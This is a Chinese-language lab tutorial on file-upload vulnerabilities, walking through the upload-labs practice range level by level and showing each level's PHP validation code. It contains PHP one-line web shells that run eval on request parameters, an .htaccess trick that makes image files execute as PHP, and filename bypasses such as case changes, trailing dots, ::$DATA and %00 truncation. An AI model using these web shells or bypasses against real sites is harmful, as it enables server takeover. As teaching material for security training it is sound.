文件上传
概念
文件上传是常用功能,但恶意文件的上传会形成漏洞。
主要形成是:后端接受了恶意文件上传并保存,受害者访问该恶意文件时,其中的恶意代码被 Web 容器执行。
常见场景:
-
上传头像 👤
-
上传相册 📚
-
上传附件 📎
-
添加文章图片
-
前台留言资料上传
-
编辑器文件上传
-
……
安装靶场
docker pull cuer/upload-labs
docker run -d -p 8082:80 --name upload-labs cuer/upload-labs
客户端 - JS 绕过
禁用 JavaScript
打开靶场的 pass01,点击右上角「查看源码」,这里的文件上传存在 JS 限制,并且只允许 .jpg
, .png
, .gif
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
在上传前先禁用掉 JavaScript
首先我们上传文件 info.php
,内容是输出 php 信息:
<?php phpinfo(); ?>
我们也可以上传
get.php
,直接用参数控制输出
<?php eval(@$_GET['cmd']); ?>
修改后缀名
先把 get.php
修改为符合上传要求 👉 get.png
,然后用 Burp 抓包改回原来的 get.php
修改前端代码
删除 onsubmit
方法,这种方式仅在 FireFox 生效:
服务端 - 黑名单绕过
特殊后缀
在 pass03,这里后端无法上传的黑名单包括 .asp
, .aspx
, .php
, .jsp
。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以使用其他后缀,比如:.phtml
, .phps
, php5
, .pht
这些后缀文件需要被执行的话有前提条件是, Apache 需要做一些配置代码
大小写绕过
在 pass06,上传 get.PHP
就能绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
点绕过
在 pass08,上传 get.php.
可以绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
空格绕过
在 pass07 中,可以在文件末尾添加空格 get.php
绕过。
空格绕过这种方式仅适用于 Windows 系统,因为 Windows 会去除文件前后空格,才能访问得到。
::data
绕过
Windows 中,如果 文件名 + ::$DATA
会把 ::$DATA
之后的数据当做文件流处理,不会检测后缀名,且保持 ::$DATA
之前的文件名。使用。
在 pass08 中可使用
不过由于 Linux 无法解析 http://175.178.126.31:8082/upload/get.php::data
,访问不到,但是文件是已经上传了。
配合解析绕过
在 pass10 中,可以看到代码很严格,但是有一个漏洞就是只做了一次校验,因此我们可以上传注入 get.php. .
来进行绕过。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
.htaccess 绕过
.htaccess
文件,(Hypertex Access超文本)入口是 Apache 的配置文件,用于执行目录下的网页配置。
在 Upload-04 中,我们可以上传 .htaccess
文件
准备两个文件 .htaccess
和 wukaipeng.png
:
<!-- .htaccess文件 -->
<FilesMatch "wukaipeng.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
/* wukaipeng.png */
<?php eval(@$_POST['cmd']); ?>
然后分别上传,之后在蚁剑测试链接
双写绕过
在 pass11 中,可以利用双写后缀绕过,比如 info.php
👉 info.pphphp
服务端 - 白名单绕过
MIME 类型绕过
在 pass02 中,我们可以修改 Content-Type
来绕过
00 截断绕过
00 截断绕过是系统漏洞,操作系统底层是 C 语言 or 汇编语言的,这两种语言都以 \0
作为字符串的结束标志。00 截断是指插入 \0
,从而达到字符串截断的目的。
\0
是 ASCII 码表中的第 0 个字符,英文名为 NUL
。\0
是在底层操作系统的表现形式,在前端输入不能直接输入 \0
,而应该使用 %00
或者 0x00
:
%00
:URL 中 %00
表示 ASCII 码为 0
的字符,该字符为特殊字符保留,表示字符串结束。当 URL 出现 %00
时就认为读取已经结束,而忽略后面上传的文件或图片,只上传截断前的文件。
0x00
:%00
解码成十六进制形式。
接着我们要安装小皮面板作为这次实验的环境,小皮面板对主机的侵入性还是蛮大的,我试过在一台远程 Linux 服务器安装,不仅没跑起来,而且还把环境给污染了,无奈只能给服务器重装系统。所以还是在虚拟机环境跑小皮面板,安全隔离,这是安装教程 👉 02-Mac M1M2 安装 Windows11 && 小皮面板 PhpStudy
安装好之后,我们打开 Windows 中的小皮面板 PhpStudy,切换一个低的 PHP 版本:
关闭 magic_quotes_gpc
重启 PhpStudy。
然后我们准备一个文件 post.php
,内容为:
<?php eval(@$_POST['cmd']); ?>
将 post.php
后缀改为 .png
,然后打开 upload-labs 上传,用 Burp 拦截,修改 save_path
:
如果失败的话可以看一下是否被 Windows11 的“病毒和威胁防护”拦截了。
上传后我们会获得这样的图片 URL:http://172.16.26.128/upload-labs/upload/post.php%EF%BF%BD/6320231026071713.png
将 post.php
后面去掉,然后在蚁剑上进行连接: